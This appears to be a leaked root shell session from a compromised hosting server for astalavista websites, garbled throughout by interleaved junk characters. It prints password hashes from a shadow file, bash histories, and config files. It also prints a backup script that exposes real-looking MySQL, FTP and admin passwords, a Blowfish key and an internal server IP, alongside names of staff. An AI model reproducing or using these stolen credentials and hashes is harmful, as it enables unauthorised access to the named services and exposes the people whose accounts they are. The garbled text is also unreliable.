jon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
+ X# c# V* @" y/ v4 \6 ocom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::
( C3 d2 }/ n1 h$ ^astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
$ X* C7 o7 q3 b# Q
8 ?- R" ^8 j' E* W) }sh-3.2# cat /etc/motd
( N$ S3 J. W ^, I% K. P6 B#####################################################
$ a5 _/ Z+ W h8 l( a9 f4 a#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #5 q/ o/ u4 ~3 s, i
# |__| [__ | |__| | |__| | | | [__ | |__| #
; }6 s z' R/ U! B' r! D# | | ___] | | | |___ | | \/ | ___] | | | #! O) F7 A+ H+ C4 w6 M9 Y, Q
# #* d5 Z9 L& y" i2 ?; v7 t# r. i5 C. E' a
#####################################################& c4 H2 J- j/ M+ g V
# #1 C4 m- K3 R' M1 z% b" d3 J
# Admin Contact - 链接标记support@secureservertech.com #
3 ]# X' ^, N3 o2 ]% k# #9 H" f4 W9 i9 }9 O2 _8 c( u; Q2 B
# Available ShortCuts #
3 x: F+ c+ R; L; P5 R* @# #/ B1 J0 W2 }# O ?0 y+ d' _" F
# nst - list active connections #% |. _% u& P m P
# ddos - shows how many times each ip is connected #4 d; s6 Z; L( ]) H! Q
# ltr - restart the webserver #, `) u4 ^: T- z" B3 L
# phpc - edit the php config file #1 s( `: p$ f; F
# htc - edit the webserver configuration file #
* J% I) J! B# I: b' [# up - uptime #
. v3 x; k h$ h' e0 F$ I# etd - edit the motd of the day file #" [- _( e' Z) Q
# htr - start and restart apache if needed #0 O$ W. z, n" Q7 `
# syng - shows active SYN_RECV connections #
`7 _( `& @) h8 P! g8 _# synd - syn flood blocker - “synd -h” for usage #4 c- b {( j0 K( M# x8 a1 t
#####################################################( C+ F6 v5 a0 h! t5 X
# NOTES: #
- K6 J0 [; \0 y/ ^! D- V# Last Upgrade - 12-08-2008 by JF #$ H* u3 Q+ L- R" E) o) e
# My.cnf/Mysql Optimization - 1-28-09 #" T3 T2 |3 Z, G2 x4 I
# #. Z" x5 }7 @ w9 Y! i
# #2 m' N. B3 v6 l
# #
# c D& {/ r, `, J7 O; f! `###################################################### f, @4 `, F: \/ M
; Z; b; c7 S; B' @# \) q' q; Z3 ksh-3.2# lastlog | grep -v Never
* w) J$ f6 d8 ]- W1 `7 TUsername Port From Latest2 p3 U2 I6 X: e3 k! f& L
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
- N7 t! I) O2 d# w2 M0 D7 [; }6 }0 _admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
' g8 n. C, P& u, ~, p( Tcom pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
& `- T% w% \: c+ Oastanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 20090 r! \$ C% f: T4 q) V- ]# K
" [! I/ k f& I, N) w3 n
sh-3.2# ls -la
& d2 ]0 t, P; q% X P+ ^total 453376# W: ^) N- T8 ^8 u6 }
drwxr-x— 15 root root 4096 Jun 4 08:40 .
* E* T# p, s# m y$ \" cdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
) R9 e: b: `8 W/ t$ x- J-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip; H( u% `$ T% S9 g
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
8 z" r2 Y6 t2 [& v- m% O2 P+ I-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
% [: B" \9 z! h+ m3 U- U6 s-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
9 H% h2 M+ u. ?: r" b-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile
0 B. S0 S; H; ~$ i' f/ @8 n-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
8 I" P8 O( k6 R7 Q6 M-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
( ?0 [9 ?% i# F+ q2 M( N; c0 |5 d5 }-rw-r–r– 1 root root 1327 Nov 29 2007 cert: A* n3 h7 x+ U5 h
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
3 d, b/ i) ^. j9 B* x; ldrwxr-xr-x 4 root root 4096 May 20 2008 .cpan
6 Z+ a* p0 Y2 k# V7 z' Z+ |-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc
2 P0 a2 b: P2 T3 r3 @/ f* I-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
! b4 k# M2 c' n& R8 jdrwx—— 2 root root 4096 Oct 28 2007 .elinks
4 x7 Z, p$ c, Hdrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
. P& B+ L { A-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz25 e9 E# i1 s# b. G& H& j
-rw——- 1 root root 0 Apr 16 13:19 .history4 R$ \3 E! H* G6 Q; h, e/ J
-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
" V- L+ |5 P; B W/ S-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog& k/ u. B$ N! V& Q e" t) [5 R& ~, r
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh4 F0 F- g# Z9 ^9 K: X2 O
-rw——- 1 root root 35 Jun 2 14:23 .lesshst: T) m: v2 Q7 H1 ]2 v! j. |$ @
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp
. ]$ B0 O" }9 S: Wdrwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec& o8 S& C4 N/ x( h" }$ [
-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz. t0 f! S0 t4 Q+ u# x
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2
) _$ W M) k8 a- F- B% a-rwx—— 1 root root 760 Sep 18 2008 lp
4 k% v/ Y) z& @5 Sdrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1; a# }( P' ?3 |( n% C4 p, I
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
) X9 \2 M. j6 U# C9 M-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
! M$ T& @* [. h. F: `drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
3 N7 g$ K( w; c' v-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz% n! E% W% M# f1 i& ^9 x) g! E
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
* H9 W' f' X# D% n; B* y6 ^' l% N-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz, [. T# W9 i* Q
-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh, j, [, v% I e! j
-rw——- 1 root root 41 Oct 19 2007 .my.cnf, Z# o; I* F& G0 P/ l
-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history0 _/ {% v, E* G' S& x p: |7 S
-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport# q) Z* E8 ^7 s. x+ o% y* k
-rw——- 1 root root 41 May 20 2008 .mytop0 K1 y) Z8 M# r' _2 F a
drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
) U+ v9 G, }" K# h3 ]5 s-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz9 N; u5 j% j4 M: M0 C6 E8 R
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp$ {1 q& r; y0 ?! d
-rw——- 1 root root 1462 Sep 21 2007 opt.php
1 H! q/ a( L$ F: C, g t0 u, w-rw-r–r– 1 root root 3371 Sep 22 2007 p& S9 B/ f, Z8 F/ C
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2
" q2 b# a* \+ n# r-rw——- 1 root root 1024 Feb 3 21:32 .rnd2 u- E8 G4 l+ P; G" s7 _
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr5 F7 v" R& f7 C K( l1 q: S
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
# e* a" h* f5 B, Odrwx—— 2 root root 4096 Oct 10 2008 .ssh
% g0 H8 C6 O" \- R-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
1 t0 ]8 t" ?5 N+ Z5 p-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc4 q% h5 ]* J! S. m+ |# R
-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
9 f/ }9 s; J! A# Q9 u# o* j; N-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1; J4 s" J! g" Y! y/ A) P1 t
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp$ D1 R( ~" m4 t' I( R
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
5 @- i; |: b# Q" Zdrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
! c/ F( [. o- h# C. ]-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
; d8 }: A7 q) ]+ q. y) U-rw——- 1 root root 12997 May 16 2008 .viminfo9 x6 }2 Y; a$ f& ]# r. S0 R
1 E: }: r5 P8 U6 F
sh-3.2# cat .bash_history/ G5 J c) h; b, o1 K* F
[snip]
$ W0 N% T' a& r* S$ K, awget cp4sst.com/sstlinux.tar.gz
% A% J* ] u1 t: g& i! U7 m. A% Atar zxvf sstlinux.tar.gz
" T3 I2 o2 Y4 I3 j/ n( P. @cd linux-2.6.27.107 N" E8 Q6 I P8 M
sh install.sh! u: s5 Q: }; {2 ~1 S) [; D
make bzImage ; make modules ; make modules_install ; make install$ v5 A2 p3 g" i8 W
make clean
. R+ X/ h Y iservice mysqld restart
* R( n' G. s. D[snip]
) G6 p/ g1 }# D: H* [7 _' ~cd /usr/sbin/, ]7 n% R1 }1 c# Y( T4 ~5 w0 ]) \* R
chmod 4777 traceroute
2 K6 @, }. ]8 w5 W' f% @8 L0 N6 nchmod 4777 ping
* A; f8 ]8 ]7 V- ctraceroute -I 链接标记[url]www.astalavista.ch[/url]
1 d3 B; s3 i( a5 I( P# L[snip]+ n3 B0 m1 f0 d8 l& @% s! w* \
vi /etc/csf/csf.conf% s! _ s8 t6 h. ~( c. L
traceroute google.ch- s# \) Y* s5 ?( ]
service csf restart- E+ E, p4 { _) S8 ]7 x# k9 H
tracert google.ch
8 {! j% \, b/ P$ Q F+ ?service csf restart9 @8 H$ Y* m! ]
traceroute 链接标记[url]www.google.ch[/url]
5 R+ U4 ]8 j" h; R: }6 w6 c- utracert 链接标记[url]www.google.ch[/url]
# N- i; R" S$ h; Ytraceroute 链接标记[url]www.google.ch[/url]" B5 }% c" E5 d1 R
locate traceroute3 I7 p8 U2 h$ u7 W
chown 4755 /bin/traceroute5 `2 v. `; I: d1 q! \
chown 4777 /bin/traceroute
7 f8 X4 Y1 ~% h9 z$ O4 C" K0 }- Jlocate ping; G- D) e) R6 s' Y; X: q- v
chown 4755 /bin/ping8 ]) p+ E1 t1 S8 v
chown 4777 /bin/ping1 ]" a1 K& F2 a
cd /bin// ~$ V0 ] _. b3 r8 L5 b6 W
ls -ali | grep ping
B8 G: ]. e; a, {9 Xchown root ping r+ u# d- h" `; ^" N6 o+ f. T: ^" h
chmod 4755 ping3 D/ N C; }/ W# S! f% `; L
ls -ali | grep traceroute4 t. ?' m/ T: Z, f! h$ |
chown root traceroute
& I2 I& A+ \7 a+ @. i6 _7 p. rchmod 4755 traceroute
6 t) m5 W' q! V* N8 U6 |' Vls -ali | grep traceroute" C, l+ D7 {3 _' p
traceroute -I 链接标记[url]www.google.ch[/url]! L" ~7 o' c+ s- k4 y, c! {/ X
traceroute 链接标记[url]www.google.ch[/url]9 c$ C% \4 p% U% R
whois pmsantos.ch1 C( I( v0 D$ i3 p3 F: k1 W& I# S
[snip]$ w" Q! M3 Y9 `0 ?5 k6 i3 g
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
# n1 Q! z3 J7 ~3 W# L8 Imysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql
- r" y' ]+ B' umysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql0 ~1 [$ H% h4 d7 f
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql& x# F" v8 Z" L0 X. t" W( \
top! R$ N/ R6 N( }
ping ssth.ch; g+ A9 w7 A* x+ I
ping asdlkfaljgasd???ljg???lasj.ch/ _: V) ^" f2 l: f1 t1 l
ping asdlkfaljgasdlasj.ch, L2 x) c: X! g& H( F# t2 W
ping 链接标记[url]www.ssth.ch[/url]
& @ @( e! o9 ^0 d$ T, Y, X. e4 Qping ssth.ch& Q _3 v& l% t0 \0 _
nslookup 链接标记[url]www.google.ch[/url]
# s- G d7 _5 V0 ]7 R- ]6 Fnslookup 链接标记[url]www.ssth.ch[/url]
/ O# g" Z. ~& r$ q+ wman nslookup
; [9 T) ?- |& ^* E4 ~, Cping 链接标记[url]www.google.ch[/url]' S& o+ h# ]5 ~& |/ }5 p% v3 P
nslookup 链接标记[url]www.google.ch[/url]
' z0 q" ~ ^0 enslookup 链接标记[url]www.google.ch[/url]
( K* V. R$ Z6 O8 \! _nslookup salfjasdlf.ch$ r! C! i8 u8 A
[snip]$ H( v. L. p4 c i9 @) {
openssl passwd -1 sadf
8 c/ S$ {3 j Q1 }openssl passwd -1 5cZNHstdTy6 u3 G/ N, O6 h2 ?2 X, R/ r
mysql8 P; {) {' d. g8 T8 |& M: @4 R
mysql8 T% z3 t j5 }$ e
locate proftp
: k0 c: c4 ]- d7 x" a& mvi /etc/proftpd.passwd: `+ P( J6 M* V H* a
service proftpd restart5 h7 _- _2 b% X6 u: t& t
locate proftpd.conf" J$ R, T1 n C! K' c
vi /etc/proftpd.conf$ G/ z, }& x1 v: V" O8 N3 K/ M
vi /etc/proftpd.passwd6 {* S* ]. d4 Z; I" f; ?
service proftpd restart. n' y S! [4 \6 R
[snip]2 O) `) v8 t- ?: S% J' g; O) T. P
/bin/sh /home/com/backup_system/backup.sh
6 t" X1 U# n# N mtar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin" n8 x9 m/ x- @3 w1 {% V* a
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
2 e0 Z$ p% F* g5 y2 F8 ~mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
: g/ r0 P% |+ C& U& A4 Fls -ali
, `# m0 }! V7 z* D8 t! h4 I: umysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql: i1 `3 a0 Z/ p
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
$ D6 X) R* s3 L9 [crontab -l% o7 m- ^- \& |3 G% `0 v
crontab -l- V& ^( P A- {( N. X. S+ O
php -q /home/com/public_html/modifications/cronjobs/securitynews.php6 P! E; x7 s5 N0 Q% s5 b* s2 f; m
/home/com/public_html/modifications/cronjobs/exploits.sh" N9 j% J$ u0 f `
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url], I# R# L9 B& b7 Y
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz: R" E" C9 r) P3 \7 {9 e, G X: ?- u
cd lsws-4.0.3
* _& q9 J: h4 X- K2 E7 Ssh install.sh
$ {) @( P" d% M ?. i! k3 J: quptime
$ G! C3 f2 z1 j' H; ohdparm -tt /dev/sda
! K( ]! `! c/ Q- U# u6 hiostat. K- p- h, [5 J! \# i+ g, ^, d
yum install iostat
5 h' z7 I' ~( D& Giostat* Y5 M& T9 x& W0 w5 D
whereis iostat% N" \' w# T& P/ R4 y+ V! z
yjm clean all+ O) h% \$ J8 k* n, u
yum clean all ; yum -y update
% A+ {' E" n+ liostat
1 d9 t; p; T! d k% ^2 Q+ @/ C" lyum install systat% C2 h# b$ |. I
rpm -qa | grep iostat
4 e9 P9 W- w: g6 Q- urpm -qa | grep sysstat
9 `7 l u' s" H# h Zrpm -qa | grep systat6 e! x* }# C4 O/ w
dmesg -c1 v: N% n- w; d5 r* c3 d( b6 k
sysctl -p
9 i% u$ Z- k+ u& \uname -r
4 A- g1 u! L1 N3 scd /usr/src
3 K6 X7 O" M( \7 h7 T1 n1 b$ awget nix101.com/kernels/sstlinux.tar.gz
: s7 U6 g! M. m1 ushutdown -r now# x- O9 x" |2 v3 R* r
nano -w /boot/grub/grub.conf
) M0 J' h: r6 E4 ?
) T r! p% J, @% {$ w- A9 a! `# ]% `sh-3.2# cat .my.cnf- a# o( m& K( Z, E6 c$ ?0 W
[client]! T( P* ]% X7 W( o
user=da_admin
L M7 @/ d8 A$ Z! P9 v; }password=X9dctmRH
( ? M& m4 d8 Y1 D% ?# V! ]& e
% ?5 {% C0 [/ k2 z$ O' z# rsh-3.2# cat /home/com/backup_system/backup.sh" B! b% ~0 z# J( x
#!/bin/sh& t8 C& p" `% H0 J8 H7 Z% j
#####################################################################! I* p& N* [5 x3 h. O
# #
4 J2 _* V) y+ O0 z! L3 C3 Q# incremental backup for astalavista.com #
- j5 i& G: t3 z j# #" R5 N0 ^0 ^- B" l% D
# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
( s0 D, q+ m6 m: d3 W! q# #
8 Q2 E% B* L) r0 r/ j#####################################################################' b' v$ D. C z, C9 b" _
[snip]1 G- N' @& t& ^! e) e# x) F& c- c
PROG_DIR=”/home/com/backup_system”;
: M* k+ `- m+ J. }, f, OBACKUP_DIR=”/home/com/backups”;
# R; B/ I$ P6 O# P$ ]9 c5 TDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;( i$ c0 \1 h' f& X
# ftp for synology backup server
_0 t" E' g' E; M1 a6 o9 V: tFTP_HOST=”212.254.194.163″;
0 f' y, H' k# _5 |FTP_PORT=”21″;1 E9 K2 p/ m9 R7 w/ r# q
FTP_USER=”astalavista.com”;
. l; c" e3 J8 ?9 n: Z) Y. yFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
- V; k# _. w% MFTP_DIR=”/astalavista.com”;
/ ~/ O4 K( n% k# database9 a5 U. N8 }; ]5 l
DB_HOST=”localhost”;
0 J/ f+ ?1 I2 B7 r# X9 GDB_USER=”contrexxuser2″;
* H# P' C% R$ L7 r* P8 k- TDB_PASS=”0fEYNZgXz1pKe”;
$ v- `0 i9 l8 ]7 D) F' K: \+ bDB_DATABASE1=”com_contrexx2_live”;4 b6 ?; n& p e0 {9 t
DB_DATABASE2=”com_contrexx2″;
! h& C! C: t W, K$ L[snip]! `- q" N, x1 i8 M8 l& ~2 h
ftp -in $FTP_HOST $FTP_PORT <<EOF# [. o& q5 ~! \3 e, i/ j) z
quote USER $FTP_USER
! \+ Y2 @, |( j" r0 e$ T* A Nquote PASS $FTP_PASS* ]) o' h0 [. j$ y
cd $FTP_DIR; h5 d7 B! a$ q$ C3 v! P9 [
put $DB_FULLNAME-SQL_Dump.tar. V* \; O+ R1 X5 q
put $BACKUP_FULLNAME-Public_HTML.tar5 a3 A3 o5 g) F/ |/ ]1 O: f! \
close
! u# L3 ^2 b U& Bbye
$ A9 f2 f8 W/ Q8 oEOF- U A# a( d: R' t- m2 Q4 j$ i& c
6 X7 _/ P; w/ z; N8 N+ [& |' Ash-3.2# cd /home) \( Q6 E- w }
sh-3.2# ls -la0 V% h6 T' s6 [/ A" X2 L1 a
total 120' E2 Q5 ?, D$ }8 ?, h( Z, S
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .! s) ^9 T' {( E/ Y/ {; _( d
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ../ O+ ^* f9 n- E3 \7 n ]$ E! b& l/ J
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin6 W9 C! ]/ d4 l5 s9 l
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group" x: ] P; y: r, E0 H$ o F4 v
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
+ \ f" s# ^% v& m r% ~drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet4 K+ f! A4 @7 I4 T/ H
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
8 N" X0 ^6 N: F0 G; [. Zdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161* J. S* c4 M6 [" z, W5 I0 N* q- F
drwx–x–x 10 com com 4096 Apr 28 12:40 com
/ Q" [1 m6 _, K. u6 f/ Idrwxr-xr-x 2 root root 4096 May 17 2007 ftp
4 T9 \) V: a* X3 L, ?) o. }drwx—— 3 jon jon 4096 Sep 21 2007 jon! n# P, ^& r) d- }- C2 @
drwx—— 2 root root 16384 Sep 11 2007 lost+found
' C$ C- m D" T( S( c0 ddrwxr-xr-x 2 root root 4096 Sep 14 2007 my6 b) s) D$ u( P7 U+ D
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
" [8 r! o9 I c; W4 Y Wdrwx—— 2 jon jon 4096 Sep 15 2007 test
2 t# K4 v$ t" P1 N) }, A$ {5 O( ~! d3 Idrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
4 C9 A6 `/ l) t+ \2 }5 L
( w: u- o/ q/ V1 f0 J: C3 jsh-3.2# cd admin4 S0 l3 d* @; ~! j
sh-3.2# ls -la
4 R+ n* J! v$ ?4 Ntotal 1735896! o' d3 h# Y' D3 ~* y- \
drwx–x–x 9 admin admin 4096 Nov 28 2007 .
% j. ?( _/ w: c e0 Gdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..1 u/ Y& Z* X4 G8 @ x- x. |7 ]
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups& M+ V% ?2 z& @' j
drwx—— 2 admin admin 4096 Sep 28 2007 backups
: z; |7 [$ x: ?' ^. ~7 l-rw——- 1 admin admin 860 Sep 17 2008 .bash_history2 a3 [% Z' a' [, t* c
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout
! l& z: M+ ?: s; Q; m* y7 O/ l-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
( b+ |% R; g4 J-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc+ V6 [5 u! G4 t& `% ~3 Q5 N. s
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
" S. H& e; ]: n6 p2 K0 x/ y5 F3 Q- Gdrwx–x–x 6 admin admin 4096 Sep 21 2007 domains
* }$ d* l4 {3 Z& P1 _( T: Rdrwxrwx— 3 admin mail 4096 Sep 21 2007 imap+ Q% g& V+ [0 m$ e
-rw-r–r– 1 root root 24 Sep 21 2007 info.php
/ J% i7 V: ^3 q- l' Xdrwx—— 2 admin admin 4096 Sep 21 2007 mail$ v; `& |! Q, A6 X3 _
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr( k5 L/ s; K5 l' o9 {; j3 l/ {, b
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
/ }% X3 h6 I7 b3 [+ Z2 P-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow( V1 o* ~0 m4 c, y
-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz, _' j$ G3 W1 T; ?
drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups: L* w0 [' M( H p2 D
. f# F7 }% w7 {4 Rsh-3.2# ..- {+ [2 f" d; e6 g+ h
sh-3.2# cd jon+ {' _, T# n `3 }6 Y% s
sh-3.2# ls -la8 r9 t" E9 j8 M: u9 p1 p) {+ X" V& H: U
total 365 q9 H) s$ ~1 ^4 Y
drwx—— 3 jon jon 4096 Sep 21 2007 .
- k- l3 M+ Z( Q5 e8 I, Sdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
( H: a; F; U$ N. N0 z/ p) R-rw——- 1 jon jon 53 Sep 21 2007 .bash_history
* _' z* w1 _4 Y# k2 W8 t-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout
# n7 M# _* Z$ Y& h2 C5 r-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile
: q2 s7 o$ M8 d-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
" P( Z/ K" _; n( D( f) N q-rw-r–r– 1 root root 24 Sep 21 2007 info.php4 e" S6 @3 g' v7 m) \ [# Y: [
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html! R: h, R l( j: U6 ?1 h
, Z1 b7 T% @; u; S1 X. O, V* r. \( J
sh-3.2# cd ..( `+ S F" [$ b" |( k( \4 J) @0 x
sh-3.2# cd test
0 K9 ^6 j6 M" Z$ H) o5 j' m3 [sh-3.2# ls -la
& y1 {+ [$ O, V" j+ a/ Gtotal 48
4 I! ` C8 F7 [8 `/ {7 ^( Fdrwx—— 2 jon jon 4096 Sep 15 2007 .
3 O( Y. R# P* N( a( |2 S Xdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .." s1 l. t7 B* {- j
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history/ o p6 Y [5 L( C: i. f! p' K
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout
4 W( C0 P0 @ N/ v-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile0 K+ k- ?- M9 G2 h6 A2 k0 O% K( f
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc. \3 c6 X% c: ]0 M: f
sh-3.2# cat .bash_history
' W6 S$ v9 ]- _2 L6 Y/ V W/ k/usr/bin/mysqladmin -u root password PoliuJhytg67
* U$ V" U& p& e4 A6 i( _6 ~
0 x( e* R3 d9 z/ T: ~sh-3.2# cd ..
' q% d( K# l! H+ g* H; a( W y; t, jsh-3.2# cd astanet
, T0 L9 T6 z$ W. B! n; V- Ash-3.2# ls -la
9 Q r2 ~6 X! n# A0 R4 btotal 52) a: \" x) c$ ~& W" Y
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .
( ~0 D2 y. V* C! l& n, a/ T9 M6 U( gdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..7 L8 B( _8 z F3 m; b
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
- t- e0 m1 K9 O" ^-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
[+ J1 f( P" [# j- T-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
9 W+ n3 c$ [8 Z {. c- ^: M-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
; o* r- \: g1 z+ \-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc# | r s1 m) G: `: M: B
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains0 L- J a& m O' W
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap+ ~1 V9 w% {) e: g: ?8 n! s. Y" b- f
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail4 t# o+ O- E# L
-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history* V4 f, Z3 f/ l1 R* c2 _. J
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
6 S, F' v6 \' u( T# N9 C-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
+ C& W8 E/ a) Y8 N6 |% D$ a' I7 o+ U' j6 k, I, }1 f# M
sh-3.2# cd auth/2 z* u5 F7 ?" l& u |3 c
sh-3.2# ls -la0 a R4 E9 d# ]4 L
total 28# A; e: D1 P7 V8 g
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .! Q: k) j' D" a2 `. Z3 {+ I
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..5 @( _/ u0 K0 ]- h6 g& W
-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php _+ a% u0 m. d! \/ M
-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php' \; Q5 V" H9 x0 r
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd7 U4 M$ P3 z& i$ d: c- E F7 ^
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting$ e# D' x5 F! \! A& j* t
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd
2 x$ x# r$ r: d" l7 s: \% j7 ]7 C
sh-3.2# cat hackercontest.config.inc.php- S7 `6 \/ |) @& D% w
<?PHP
; {3 q3 [1 B, S2 {7 e3 v// Variabeln f?r Verbindung zur Datenbank //! Z* z! z+ A7 D. P4 c
$conxHost = ‘localhost’; // MySQL hostname m; Y7 e1 v3 z" z' c+ M
$conxUser = ‘hackercontest’; // MySQL user. p, j5 \8 \3 v) n( e8 C
$conxPassword = ‘K6m@7dUc’; // MySQL password
: h# Y7 I) S1 a$ E) ?, V, p9 |6 c" {$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish+ A! _( `) I5 \
?>' o; S% r+ Z0 x l; i D3 m
sh-3.2# cat hosting.config.inc.php; b4 v5 C( m$ h2 P9 f
<?PHP
8 u# P1 ^9 f6 [" R% x, L) ~// Variabeln f?r Verbindung zur Datenbank //
& M. Q X5 u% p0 a- r% E$conxHost = ‘localhost’; // MySQL hostname3 D2 n5 Q+ K1 e% K) M; d
$conxUser = ‘hostinguser’; // MySQL user
, Q7 Z) q1 n+ D$conxPassword = ‘cXvB3981′; // MySQL password
